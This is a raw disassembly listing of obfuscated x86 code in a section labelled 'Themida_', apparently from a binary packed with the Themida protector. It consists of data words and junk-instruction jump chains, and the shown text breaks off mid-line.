92E924ABh dd 8BFFFFADh, 0C4832434h, 5AD02904h, 0C578122Dh, 5E80167h dd 67C57812h, 0F15FE9h, 4EC8300h, 0FF241C89h, 5B042474h dd 5C24048Fh, 2FE95E59h, 4000038h, 0E9F828AEh, 59F8h, 814ED6F7h dd 0EAADFAC6h, 0E9F3316Eh, 5CD7h, 89242C89h, 4C581E5h dd 81000000h, 4C5h, 242C8700h, 2444015Ch, 86E95304h, 89000004h dd 45E9240Ch, 81FFFFC3h, 4ECh, 241C8900h, 0B10ABD68h, 0EB815B6Dh dd 796213C8h, 1EB81h, 0BE560000h, 5C5B71EFh, 0F75EF309h dd 416856DBh, 89000004h, 0BCBB241Ch, 0BE62143Ah, 0F300D2ABh dd 465BDE01h, 1B5BE9h db 0 ; --------------------------------------------------------------------------- loc_5488B9: ; CODE XREF: Themida_:0054BF36j and eax, edx pop edx or edx, eax shl edx, 1 push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ebx push edx mov edx, 0E8F13B2h dec edx add edx, 0F170EC50h mov ebx, edx pop edx push 749Dh mov [esp], edi jmp loc_543051 ; --------------------------------------------------------------------------- dd 373968h, 46AE900h, 248B0000h, 6E686624h, 489660Bh, 5DB024h dd 48B66C3h, 2C48124h, 81000000h, 4ECh, 6C3E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54891E: ; CODE XREF: Themida_:0054E3E2j sub dword ptr [esp+4], 30AC59A2h add [esp+4], eax add dword ptr [esp+4], 30AC59A2h add dword ptr [esp+4], 119F2905h sub dword ptr [esp+4], 3C813CE6h jmp loc_546F74 ; --------------------------------------------------------------------------- db 0F7h dd 1C281D2h, 0F7000000h, 0E9D2F7D2h, 0FFFFC58Ah, 6AE9F929h dd 5CFFFFA4h, 22Dh, 24043300h, 33240431h, 248B2404h, 0C896624h dd 0D72BE924h, 0EFC10000h, 0AEB8E903h, 0C1580000h, 0E78105E7h dd 5E4A7F08h, 0BBE9DFF7h, 5700001Fh, 30577FBFh, 0E9FB096Ch dd 9293h, 0BD242C89h, 782779Ch, 39B0F581h, 55521EEEh, 0BE243481h dd 5A5DE923h, 23BEF281h, 0D3895DE9h, 68CBE95Ah, 14890000h dd 1B27BA24h, 0D0017455h, 5316E9h db 0 ; --------------------------------------------------------------------------- loc_5489D5: ; CODE XREF: Themida_:00553988j mov dl, 0BBh jmp loc_54B0DE ; --------------------------------------------------------------------------- dd 4C05EB81h, 83E92E10h db 0E1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_557150 ; --------------------------------------------------------------------------- loc_5489F5: ; CODE XREF: Themida_:005534D1j mov [esp], ecx mov ecx, 2A7C757Dh mov edi, 2A7C7579h xor edi, ecx pop ecx sub ecx, 7ABF08BAh jmp loc_5505F7 ; --------------------------------------------------------------------------- dd 5228B850h, 4BD462Eh, 313C9932h, 7EA2E9C5h, 0F8040000h dd 0F82CD800h, 4EC81h, 0C890000h, 68D7B524h, 1117h, 0B2241489h dd 6E2C06Bh, 0E9D9C280h, 0AC1Bh, 0EC815A5Fh, 4, 89243C89h dd 5FFB89EFh, 1C5F095Dh, 83241C8Bh, 0A5E904C4h, 5FFFFF9Ch dd 0FFEBD7E9h db 0FFh ; --------------------------------------------------------------------------- loc_548A6D: ; CODE XREF: Themida_:005530C9j xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp jmp loc_546A68 ; --------------------------------------------------------------------------- aSI db '(Âé·i',0 dw 5B00h dd 0FFE843E9h db 0FFh ; --------------------------------------------------------------------------- loc_548A89: ; CODE XREF: Themida_:0054973Ej sub edx, ebp jmp loc_55637F ; --------------------------------------------------------------------------- dd 90CBED81h, 0E92937FEh, 24048B5Dh, 4C481h, 0EC810000h dd 4, 0FF240C89h, 8B042474h, 0EC83240Ch, 0B6BDE904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_548ABA: ; CODE XREF: Themida_:00552930j inc esi shr esi, 4 jmp loc_55282E ; --------------------------------------------------------------------------- db 0BFh dd 20CA5B99h, 5B9BF781h, 0FA0120CAh, 2414335Fh, 6F54E9h dd 0B60F6600h, 9C5166C8h, 0B665E9h db 0 ; --------------------------------------------------------------------------- loc_548AE5: ; CODE XREF: Themida_:005457A8j add ebp, 4 add ebp, 4 push ebp jmp loc_551D38 ; --------------------------------------------------------------------------- aBIsSZ db 'éSÆ',27h,'éÒZ',0 db 0 ; --------------------------------------------------------------------------- loc_548AFF: ; CODE XREF: Themida_:00551469j sub edi, 0B7D434Ah pop ecx jmp loc_54FCA4 ; --------------------------------------------------------------------------- db 0FFh dd 1C8B2434h, 4C48324h, 0FF04C483h, 56582434h, 0F89AE954h dd 5266FFFFh, 8057B551h, 82E978EDh db 0F3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548B2F: ; CODE XREF: Themida_:00549676j add ah, 0AAh sub ah, 24h xor dh, ah jmp loc_54A0AE ; --------------------------------------------------------------------------- dd 5604EE83h, 42474FFh, 24048F5Eh, 2414895Ch, 7C8AFE88h dd 74880424h, 148B0424h, 0CF4AE924h, 0E95C0000h, 0FFFFA521h dd 0E904C483h, 7FD0h ; --------------------------------------------------------------------------- loc_548B6C: ; CODE XREF: Themida_:00550A22j add esp, 4 movzx ecx, ax push esi jmp loc_54C6FE ; --------------------------------------------------------------------------- dd 0E9241489h, 0FFFFCAB1h, 2434895Ch, 813CE9h, 5DEB2900h dd 1C8BDF01h, 4C48124h, 81000000h, 4ECh, 240C8900h, 2B9h dd 59CF0100h, 479168h, 243C8900h, 42474FFh, 3A62E9h db 0 ; --------------------------------------------------------------------------- loc_548BB9: ; CODE XREF: Themida_:005463C3j xor ecx, 86B5ABB7h jmp loc_545BDC ; --------------------------------------------------------------------------- loc_548BC4: ; CODE XREF: Themida_:0054361Cj mov eax, [esp] add esp, 4 push edx mov dh, 4Eh sub bl, dh jmp loc_54D548 ; --------------------------------------------------------------------------- dd 4240481h, 59000000h, 0B1CE9h db 0 ; --------------------------------------------------------------------------- loc_548BE1: ; CODE XREF: Themida_:0054450Aj mov [esp], ebp mov ebp, 21EA42B2h mov esi, 21EA42B6h xor esi, ebp pop ebp jmp loc_5558CF ; --------------------------------------------------------------------------- dw 5668h dd 8900005Ch, 3C682414h, 83000000h, 248904ECh, 24048124h dd 4, 0E924048Fh, 0FFFFB478h ; --------------------------------------------------------------------------- loc_548C18: ; CODE XREF: Themida_:00549577j pop ebp jmp loc_55755B ; --------------------------------------------------------------------------- loc_548C1E: ; CODE XREF: Themida_:0055099Ej mov [esp], ecx jmp loc_552967 ; --------------------------------------------------------------------------- loc_548C26: ; CODE XREF: Themida_:0054F9C2j mov esi, [esp] add esp, 4 pop dword ptr [esp] pop esp mov [esp], ebp push 2A2F1334h pop ebp jmp loc_542C90 ; --------------------------------------------------------------------------- db 59h, 81h, 0C4h dd 4, 407FE9h, 4EB8300h, 2474FF53h, 48F5B04h, 24248B24h dd 8368E9h, 240C8B00h, 2BE0E9h db 0 ; --------------------------------------------------------------------------- loc_548C69: ; CODE XREF: Themida_:0054C784j xor edx, 0EBD0EB42h push edi mov edi, 285D6BA2h neg edi shr edi, 8 add edi, 0FFFFFFFFh jmp loc_5486D3 ; --------------------------------------------------------------------------- dw 0E95Ah dd 5C1h, 0E404F000h, 1224E9h, 8EBC100h, 1C73E9h, 23426800h dd 34890000h, 17D3BE24h, 72E974C5h, 5100008Ch, 42474FFh dd 81240C8Bh, 4C4h, 2F2BE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_548CBE: ; CODE XREF: Themida_:0054947Ej mov [esp], ebx mov ebx, 3971070h push eax mov eax, 0F7E5E19Dh add ebx, 203B5774h sub ebx, eax sub ebx, 203B5774h pop eax xor edx, ebx jmp loc_54CAD5 ; --------------------------------------------------------------------------- dw 0BD55h dd 13166004h, 2C8BEE31h, 4C48324h, 0FFB620E9h, 7E84BBFFh dd 5C294062h, 1C8B0824h, 4C48124h, 58000000h, 0AEFCE95Bh dd 0E9580000h, 0FFFFE59Bh, 89240489h, 405E0h, 0E8830000h dd 2A17E904h, 4890000h, 4EC8124h, 89000000h, 37682414h dd 5A772F4Eh, 8107EAC1h, 382FAAEAh, 0C067E983h, 0F889FFFFh dd 0B5EF815Fh, 1493D77h, 0B5C781C7h, 58493D77h, 1947CF81h dd 0E95144CDh, 2DE5h, 0E9241489h, 2471h, 4EC815Ch, 89000000h dd 0BA682414h, 0E97CA043h, 8298h, 44B5E281h, 0F2812A64h dd 9D38D42Fh, 895AD129h, 5EE959CEh, 88000091h, 88D7F6F7h dd 0CEFE5BFEh, 62E3E9h, 0EBEA8100h, 813FAB46h, 9F0CE4EFh dd 81D70136h, 9F0CE4C7h, 0B095E936h, 0EC86FFFFh, 0FFA413E9h dd 48B66FFh, 73A96824h, 0E1E90000h, 81FFFFBDh, 0D51E04F7h dd 10E7814Ah, 81069F4Eh, 27484AE7h, 4FEF811Fh, 4799D633h dd 0E781D7F7h, 6B517526h, 0BB68EFD1h, 8900002Fh, 68532404h dd 30E54C89h, 0F3CB815Bh, 0C146A568h, 0F38102E3h, 5C0C51B2h dd 12DCEB81h, 0D8898942h, 58C7015Bh, 1F38EA81h, 0FA0143E1h dd 0FBD5550h, 5728F96Eh, 0B95AF1BFh, 5FFD214Bh, 0E581EDD1h dd 7ECB3655h, 0FB38C581h, 7BE93F98h, 5BFFFFD2h, 15FFB01h dd 0B9BD55CBh, 81540B7Bh, 1C77EBEDh, 0B7EB8120h, 0E946A634h dd 0FFFFE426h, 572FB850h, 0E0C1455Dh, 704BE903h db 2 dup(0) ; --------------------------------------------------------------------------- loc_548E76: ; CODE XREF: Themida_:0055458Aj mov [esp], ax mov al, 2Fh xor dh, al jmp loc_552E9E ; --------------------------------------------------------------------------- db 2Ch dd 58C32852h, 0E9C9C380h, 185Ch, 2BEh, 8BCCE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_548E9A: ; CODE XREF: Themida_:0054C832j or edx, 2BD4184Eh xor edx, 0AFFE7A6Bh add edi, edx pop edx add edi, 4 xchg edi, [esp] pop esp push 5FF4h mov [esp], ebx push edi push 3ED2308Ch mov edi, [esp] jmp loc_5483B6 ; --------------------------------------------------------------------------- db 0BDh, 0CBh, 0Bh dd 814D458Fh, 0D310B3EDh, 0F1C5816Ah, 814AC04Bh, 0AE311C5h dd 5365E9E6h db 2 dup(0) ; --------------------------------------------------------------------------- loc_548EE6: ; CODE XREF: Themida_:00544671j xchg edx, [esp] pop esp jmp loc_55340B ; --------------------------------------------------------------------------- db 55h dd 242C8B58h, 4C481h, 0D5F70000h, 0E8C0E9h, 0C8B6600h dd 7EF06824h, 0C890000h, 34FF5424h, 240C8B24h, 5E08950h dd 4, 405h, 24048700h, 0F878E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_54F148 ; --------------------------------------------------------------------------- dw 0F380h dd 5BD80023h, 0FFA155E9h, 5EF301FFh, 5C241C87h, 555AC281h dd 0E95D6839h, 0CFEh, 52E95658h, 68FFFFD4h, 3C4Eh, 83242489h dd 0FF042404h, 0C8B2434h, 4C48124h, 83000000h, 0F1E904C4h dd 81FFFFFEh, 4ECh, 241C8900h, 9010A7BBh, 34815315h, 0D53C7024h dd 9FE95E1Ah, 0BDFFFFEFh, 67761A74h, 3FFC581h, 0E5C14ABDh dd 814D4D06h, 0EF16B2E5h, 5BF5812Ch, 17D6143h, 0F1295DE9h dd 57E9E981h, 34FF71A6h, 0C125E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_548FC2: ; CODE XREF: Themida_:0055729Dj and eax, ebp jmp loc_54EAB6 ; --------------------------------------------------------------------------- db 81h, 0C7h, 76h dd 81530A00h, 921BADC7h, 0B9515D10h, 2, 22EE9h, 241C8900h dd 81E28952h, 4C2h, 4B95100h, 29000000h, 3CE959CAh db 0EBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548FFB: ; CODE XREF: Themida_:005480FEj pop ebx add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] jmp loc_550C3F ; --------------------------------------------------------------------------- aSVbarp69s6 db 'S»[/ÐVíRP69é6Ð',0 dd 242C3300h, 0E564E9h, 81FA0100h, 5833B5C2h, 0E9565F1Ch dd 121Bh, 6807685Bh, 2C890000h, 6E87E924h, 0F72D0000h dd 5439E14h, 537C3F8Ah, 0D323E9h, 0B4F18100h, 0E9207B22h dd 0D85Ah, 8BF82158h, 0EC81243Ch, 4, 89241C89h, 4C381E3h dd 81000000h, 4C3h, 74FF5300h, 0CAE90424h, 330000D4h, 0E95C2404h dd 0FFFFE95Bh, 68242C8Bh, 7B5Ah, 60D9E9h db 0 ; --------------------------------------------------------------------------- loc_54909D: ; CODE XREF: Themida_:0054A086j push dword ptr [esp] pop ebx add esp, 4 push 3A8Dh mov [esp], ecx push 2769h jmp loc_54AE6D ; --------------------------------------------------------------------------- db 1, 44h, 24h dd 2D32E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5490C2: ; CODE XREF: Themida_:0054AA83j add ebx, 5EC2127Eh add ebx, eax sub ebx, 5EC2127Eh add ebx, 3CBC7275h push ecx push edx push 22407C0Bh pop edx jmp loc_553B12 ; --------------------------------------------------------------------------- db 81h dd 0A21242Ch, 0E95F7A6Ch, 0FFFFD3B9h, 0B6241489h, 80E680BFh dd 0E6D0CEFEh, 0C01CC680h, 0BCE906EEh, 8B0000D6h, 0C481240Ch dd 4, 0C421E9h, 81D3F700h, 96E42BEBh, 5BD9899Ah, 0FCE9CE29h db 0B8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549127: ; CODE XREF: Themida_:00553F7Aj pop ecx mov eax, [esp] push edx mov edx, esp sub esp, 4 jmp loc_54D4E6 ; --------------------------------------------------------------------------- loc_549139: ; CODE XREF: Themida_:00543BCDj mov ecx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp add ecx, 5B653D55h pop esi jmp loc_54744B ; --------------------------------------------------------------------------- dd 0C3BAE981h, 0E1C11E0Dh, 0A60FE902h db 2 dup(0) ; --------------------------------------------------------------------------- loc_549166: ; CODE XREF: Themida_:00545E3Dj add esp, 4 jmp loc_5510D0 ; --------------------------------------------------------------------------- db 0B8h, 13h, 5Ch dd 613501B1h, 5422F5Bh, 0BC61F892h, 0BEE9C601h db 0BBh, 2 dup(0) ; --------------------------------------------------------------------------- loc_549187: ; CODE XREF: Themida_:00551E5Bj pop esp push edx push esp pop edx add edx, 4 push ebp mov ebp, 302209DBh add ebp, 1 dec ebp sub ebp, 671A5E58h push edi jmp loc_547CDA ; --------------------------------------------------------------------------- db 81h dd 5A23E6C3h, 0C3815D49h, 0CBDE554Fh, 685BDA21h, 1CE8h dd 56240489h, 260FD5BEh, 3B97E91Dh, 89660000h, 3AE92414h dd 0B2FFFFDAh, 0E9D528C4h, 8FC0h, 4EC8349h, 0BE243489h dd 2F9A24A8h, 348BF109h, 4C48324h, 7EFEF181h, 0CB01BFDBh dd 0F623E959h, 0C35CFFFFh, 0FF9507E9h, 2EEC0FFh, 6BE9E6D0h dd 1FFFFF3h, 3C3359CFh, 243C3124h, 8B243C33h, 0F662424h dd 3B68C8BEh, 0E9000079h, 90F8h, 0E1C006B1h, 10F18003h dd 8059CF20h, 51E9FFC7h, 0BBFFFFC7h, 0 dd 0FFB21BE9h, 4ED83FFh, 2474FF55h, 48F5D04h, 6CE95C24h dd 52000029h, 0C281E289h, 4, 4B850h, 0C2290000h, 24148758h dd 2434895Ch, 0C74610BEh, 1C6BE97Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54927E: ; CODE XREF: Themida_:0054D203j pop dx push ebx push edx mov dl, ah push eax mov al, dl mov bl, al jmp loc_553D0E ; --------------------------------------------------------------------------- dw 0C801h dd 81240C8Bh, 4C4h, 24148B00h, 4C481h, 0D8290000h, 4EC8352h dd 0BE243489h, 5B230975h, 348BF289h, 4C48324h, 0FFE673E9h dd 51C201FFh, 0B7871B9h, 59CA2910h, 0E924048Bh, 0FFFFB666h ; --------------------------------------------------------------------------- loc_5492D0: ; CODE XREF: Themida_:00544767j add esp, 4 push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp shr eax, 0Bh xor ecx, eax jmp loc_5548BE ; --------------------------------------------------------------------------- dd 0E95AD001h, 0FFFFDDCDh ; --------------------------------------------------------------------------- loc_549304: ; CODE XREF: Themida_:0054D4E1j and esi, 4EFB0B69h not esi inc esi add esi, 5BCB2051h jmp loc_5574DB ; --------------------------------------------------------------------------- dd 0B03EE95Ah, 0C483FFFFh, 6FBF5704h, 81519325h, 7C7397F7h dd 7194E973h db 2 dup(0) ; --------------------------------------------------------------------------- loc_549332: ; CODE XREF: Themida_:0054C940j inc edx neg edx dec edx sub edx, 26B77D4Ah mov edi, edx pop edx sub edi, 598E5F13h sub ebp, 1E27C45h add ebp, edi add ebp, 1E27C45h pop edi add ebp, 4 xchg ebp, [esp] pop esp sub eax, 661C5E2Fh push edx mov edx, 1F243312h shr edx, 7 inc edx add edx, 0FFFFFFFFh push 60FCh mov [esp], eax jmp loc_554D8F ; --------------------------------------------------------------------------- dd 8BEB8958h, 0C481242Ch, 4, 0FDE9D801h, 330000C1h, 685C2434h dd 16E9h, 4C6CE9h, 4B800h, 0C5810000h, 9074C92h, 0ED81C501h dd 9074C92h, 242C3358h, 0E9242C31h, 4C91h, 2434895Ch, 9B9CE9h dd 81DA0100h, 6A1540EAh, 0DDC28110h, 8B3C7665h, 0C483241Ch dd 4B85004h, 0E9000000h, 43C8h, 1840E381h, 0E3C1248Fh dd 1BCB8107h, 8166726Bh, 74081AC3h, 5BD901D1h, 3BA3F181h dd 0E9817AA3h, 32882625h, 54CEC181h, 0CD0162B1h, 74FF5559h dd 8F5D0424h, 248B2404h, 2434FF24h, 582434FFh, 0E904EC83h dd 0FFFFD436h, 4C481h, 1C8B0000h, 4C48124h, 0E9000000h dd 0DDDEh ; --------------------------------------------------------------------------- loc_549444: ; CODE XREF: Themida_:00545480j mov eax, 4 add ebp, eax pop eax xchg ebp, [esp] pop esp shr ecx, 6 push ebp push esp mov ebp, [esp] add esp, 4 jmp loc_54D418 ; --------------------------------------------------------------------------- loc_549463: ; CODE XREF: Themida_:0054F576j add esi, ebx mov ebx, [esp] jmp loc_555DF6 ; --------------------------------------------------------------------------- db 81h, 0EFh, 24h dd 0E93F2F18h, 0FFFFB5D9h ; --------------------------------------------------------------------------- loc_549478: ; CODE XREF: Themida_:00547A82j sub esp, 4 jmp loc_548CBE ; --------------------------------------------------------------------------- db 87h dd 0E95C2404h, 0FFFF97C2h, 6ADE68h, 24348900h, 42474FFh dd 0FFEFCBE9h, 0E9555DFFh, 9A41h ; --------------------------------------------------------------------------- loc_5494A4: ; CODE XREF: Themida_:005551A4j mov [esp], edi push dword ptr [esp+4] mov edi, [esp] add esp, 4 pop dword ptr [esp] push dword ptr [esp] pop eax jmp loc_54D578 ; --------------------------------------------------------------------------- dd 7F7BA52h, 85E90F3Fh, 8B000096h, 54552404h, 4EC835Dh dd 0E9243C89h, 1D39h, 0FFCB0158h, 56592434h, 0C681E689h dd 4, 4C681h, 34870000h, 0E631E924h, 54F60000h, 5A660124h dd 0D6F6C6FEh, 5C865266h, 0C3FE0124h, 1245C86h, 24148B66h dd 8002C483h, 0E6C07BCEh, 0BCEE8005h, 34FFF030h, 5563E924h dd 6F2D0000h, 4000717Ch, 5104E8C1h, 84753DB9h, 0E9C8317Fh dd 7621h, 0E9242C8Bh, 0FFFFD2D0h, 3538E955h, 0DCB80000h dd 523CCE18h, 1578CCBAh, 0D414E955h, 0ED81FFFFh, 383C71AEh dd 81243C8Bh, 4C4h, 0F251E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549572: ; CODE XREF: Themida_:00551F22j xor ebp, edi pop edi mov ebx, ebp jmp loc_548C18 ; --------------------------------------------------------------------------- dd 4B8h, 58C70100h, 0E9243C87h, 811Ch, 0F84E85BBh, 0A7C38174h dd 1BA9CD6h, 241C8BD8h, 4C481h, 0C7010000h, 68C70158h dd 6FEBh, 0BB241C89h, 47D75897h, 0EB87DBF7h, 24048755h dd 40E9D0F7h, 500000E5h, 363E6FB8h, 6CBB5378h, 0E92EEB0Eh dd 7FB0h, 642AC581h, 0E94532D2h, 0FFFFF4B0h ; --------------------------------------------------------------------------- loc_5495E0: ; CODE XREF: Themida_:005546D6j push ebp not dword ptr [esp] pop ebp jmp loc_5459DF ; --------------------------------------------------------------------------- aZSqx db '‡<$\éŸX',0 dw 8300h dd 148904ECh, 63816824h, 3DE975A0h db 0C0h, 2 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_54DB58 ; --------------------------------------------------------------------------- loc_54961A: ; CODE XREF: Themida_:005505AAj push eax mov eax, 6D192385h add edi, 41551092h jmp loc_55658E ; --------------------------------------------------------------------------- db 89h dd 0E952243Ch, 0C6F9h ; --------------------------------------------------------------------------- loc_549634: ; CODE XREF: Themida_:00555F2Fj shl edx, 1 push 492Eh jmp loc_54C29C ; --------------------------------------------------------------------------- dd 9C2404FEh, 0FF90C3E9h db 0FFh ; --------------------------------------------------------------------------- loc_549649: ; CODE XREF: Themida_:00546619j cmp eax, edx jmp loc_54C945 ; --------------------------------------------------------------------------- dd 442403B0h, 0FF9E34E9h, 0C38159FFh, 2, 2474FF53h, 5E95B04h db 0AAh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54966B: ; CODE XREF: Themida_:0054D039j shr ah, 5 dec ah shr ah, 8 add ah, 0D5h jmp loc_548B2F ; --------------------------------------------------------------------------- loc_54967B: ; CODE XREF: Themida_:005468FBj mov esi, 2D9D48EEh and esi, 71051DF8h push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] jmp loc_54B5DE ; --------------------------------------------------------------------------- db 81h dd 7C3F6FEDh, 5A55526Ch, 0E2815D5Dh, 2A677EF1h, 81D2F742h dd 98D759F2h, 5AD329F5h, 31241C33h, 0BAE9241Ch, 81000059h dd 4C0569C6h, 81CE294Bh, 4C0569EEh, 0C405594Bh, 5176D805h dd 0BD0C83B9h, 0DAE98176h, 0E9347BBBh, 44E5h ; --------------------------------------------------------------------------- loc_5496E8: ; CODE XREF: Themida_:0054A51Cj add ebp, ebx mov ebx, [esp] push eax mov eax, esp jmp loc_5475D2 ; --------------------------------------------------------------------------- db 8Bh, 1Ch, 24h dd 8521E9h, 471D6800h, 1C890000h, 4BB24h, 0E9810000h, 39E33835h dd 0C181D901h, 39E33835h, 9762E9h, 4307BA00h, 0D2F74CAFh dd 0BCF6EA81h, 0D301B350h, 0F6BE9h db 0 ; --------------------------------------------------------------------------- loc_549731: ; CODE XREF: Themida_:0054F0EFj pop edx add edx, 4 push ebp mov ebp, 4 jmp loc_548A89 ; --------------------------------------------------------------------------- db 80h dd 0F78057EFh, 4872C6Eh, 2CF82823h, 0E9870423h, 0FFFF9A7Ah ; --------------------------------------------------------------------------- loc_549758: ; CODE XREF: Themida_:0054FE44j pop ebx neg cl sub cl, 2Ah add cl, 1 shr cl, 2 xor cl, 0EDh dec cl push ebx jmp loc_5525E2 ; --------------------------------------------------------------------------- db 59h dd 0D62FEB81h, 0D889ED92h, 8B2434FFh, 0C481241Ch, 4, 0E904C483h dd 9E20h, 8B5AF588h, 89522404h, 4C281E2h, 81000000h, 4C2h dd 24148700h, 247C8A5Ch, 246C8804h, 0C7305904h, 0C730F830h dd 2EC81h, 89660000h, 68662404h, 10E90D94h, 5E000045h dd 240C875Fh, 24148B5Ch, 527668h, 243C8900h, 4EC81h, 8F540000h dd 0B9512404h, 4, 4244C01h, 0BA525F59h, 767A26B3h, 5E4D68h dd 241C8900h, 0BBh, 7CC38100h, 0E94D7452h, 54BAh, 335AD601h dd 34312434h, 24343324h, 0E924248Bh, 222Dh, 240C8B66h dd 4EC81h, 4890000h, 4EC8124h, 89000000h, 4812424h, 424h dd 51565800h, 0C428C1B9h, 0EEC1E952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54984A: ; CODE XREF: Themida_:00545380j xor ecx, [esp] pop esp jmp loc_5467C3 ; --------------------------------------------------------------------------- loc_549853: ; CODE XREF: Themida_:00547772j push dword ptr [esp] push dword ptr [esp] pop edi push 0EDCh mov [esp], ebp mov ebp, esp add ebp, 4 add ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] jmp loc_54D8E4 ; --------------------------------------------------------------------------- db 59h dd 2E9D6F6h, 81000064h, 0F1232E9h, 7DA82D0Ah, 0C829720Dh dd 0D7DA805h, 240C8B72h, 4C481h, 0BE560000h, 4F12ACCh dd 37B95146h, 310A377Ah, 0BA01E9CEh, 48F0000h, 5C1DE924h dd 0E8290000h, 2F06B72Dh, 4E21E905h, 814D0000h, 896EAAF5h dd 3EBA5260h, 0E97B1512h, 0FFFFCFAFh, 0E904C483h, 790Bh dd 0AB2447B9h, 49E5E96Bh, 68500000h, 13140E65h, 5484058h dd 0FFFFFFFFh, 140E2435h, 58C18913h, 0FFDA7EE9h db 0FFh ; --------------------------------------------------------------------------- loc_549905: ; CODE XREF: Themida_:00543AFFj mov edx, [esp] jmp loc_545C02 ; --------------------------------------------------------------------------- db 68h, 0E7h, 6Fh dd 24890000h, 24048324h, 24048B04h, 0E9E08950h, 0D01Eh dd 0DEA1E958h, 34310000h, 0FA61E924h, 7568FFFFh, 89000026h dd 50E9242Ch db 35h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54993F: ; CODE XREF: Themida_:0054CBF2j add eax, 4 push edi jmp loc_54310C ; --------------------------------------------------------------------------- dw 0C981h dd 4D336170h, 6FDCC181h, 5FE97FAFh db 0DEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54995B: ; CODE XREF: Themida_:00544EDDj xor eax, ecx mov ecx, [esp] push 27E8h mov [esp], eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_556AE8 ; --------------------------------------------------------------------------- dw 0D2F7h aB_0 db 'ê¼)',0 db 7Fh, 81h, 0C2h dd 0FB47547Ch, 8DC9E957h, 5E520000h, 7EE815Ah, 1844894h dd 0BA525EF5h, 2, 3EF7C581h, 0D5011FFBh, 3EF7B951h, 0CD291FFBh dd 2C875A59h, 85665C24h, 87E99CC8h db 44h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5499BF: ; CODE XREF: Themida_:0054311Aj shl edi, 1 neg edi xor edi, 38382F2Ch add edi, 0AE747BD8h add eax, edi pop edi xchg eax, [esp] pop esp push 9B7h mov [esp], eax mov eax, esp sub esp, 4 jmp loc_544501 ; --------------------------------------------------------------------------- db 83h dd 0F10504C4h, 0E966990Ch, 0DC32h ; --------------------------------------------------------------------------- loc_5499F8: ; CODE XREF: Themida_:0054FA03j sub eax, ebp mov ebp, [esp] jmp loc_551381 ; --------------------------------------------------------------------------- dw 34FFh dd 241C8B24h, 4C481h, 89560000h, 50E953E6h db 10h, 2 dup(0) ; --------------------------------------------------------------------------- loc_549A17: ; CODE XREF: Themida_:0054A6C7j push esp jmp loc_54E4A2 ; --------------------------------------------------------------------------- loc_549A1D: ; CODE XREF: Themida_:00550913j push edi mov edi, 662E394Ch neg edi xor edi, 99D1C6B0h sub esi, edi pop edi xor esi, [esp] xor [esp], esi xor esi, [esp] jmp loc_544737 ; --------------------------------------------------------------------------- dd 4BD55h, 0C2810000h, 71992F45h, 0EA81EA01h, 71992F45h dd 57E4E95Dh, 0E6890000h, 4C681h, 0EE810000h, 4, 5C243487h dd 237FE9h, 8C9AE900h, 8B66FFFFh, 0F0682404h, 89000041h dd 5E542434h, 63F9E9h db 0 ; --------------------------------------------------------------------------- loc_549A85: ; CODE XREF: Themida_:00550CC0j sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx push edi push 519858BEh pop edi jmp loc_545ABD ; --------------------------------------------------------------------------- db 66h dd 68240C8Bh, 3A7Bh, 54240C89h, 0E9240C8Bh, 0FFFF8C97h dd 8B243C33h, 0A30F2424h, 0E99C2404h, 0FFFF8C4Ch, 57384EBEh dd 5EF58922h, 565DEF09h, 7C0461BEh, 0E9F72907h, 5DC1h ; --------------------------------------------------------------------------- loc_549AD8: ; CODE XREF: Themida_:0054D476j sub ebp, 4 jmp loc_5441B2 ; --------------------------------------------------------------------------- dd 0C158C589h, 0CD8104EDh, 70E717E9h, 0AC11E9h, 52E78900h dd 8430C6BAh, 0A8C2815Dh, 81DC25D5h, 83408BCAh, 0F29BE937h dd 0FA87FFFFh, 0DBF7D387h, 0E9D3F74Bh, 0A824h ; --------------------------------------------------------------------------- loc_549B18: ; CODE XREF: Themida_:00554835j pop ebp add ebx, eax jmp loc_554196 ; --------------------------------------------------------------------------- loc_549B20: ; CODE XREF: Themida_:005558DAj xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] push ecx push esp pop ecx add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], esi mov esi, 416730AAh shl esi, 1 shr esi, 4 jmp loc_54F570 ; --------------------------------------------------------------------------- aQsf db 'Qé”)',0 dw 8300h dd 0E95004C4h, 0D229h, 2C381h, 1C870000h, 68665C24h, 896663CAh dd 0B3E9242Ch db 0F3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549B77: ; CODE XREF: Themida_:0054375Aj add ebx, ebp add ebx, 3F173E1Eh pop ebp jmp loc_553E9C ; --------------------------------------------------------------------------- db 81h, 0F7h, 6Ch dd 8108812Ch, 0A13FFAC5h, 81FD011Dh, 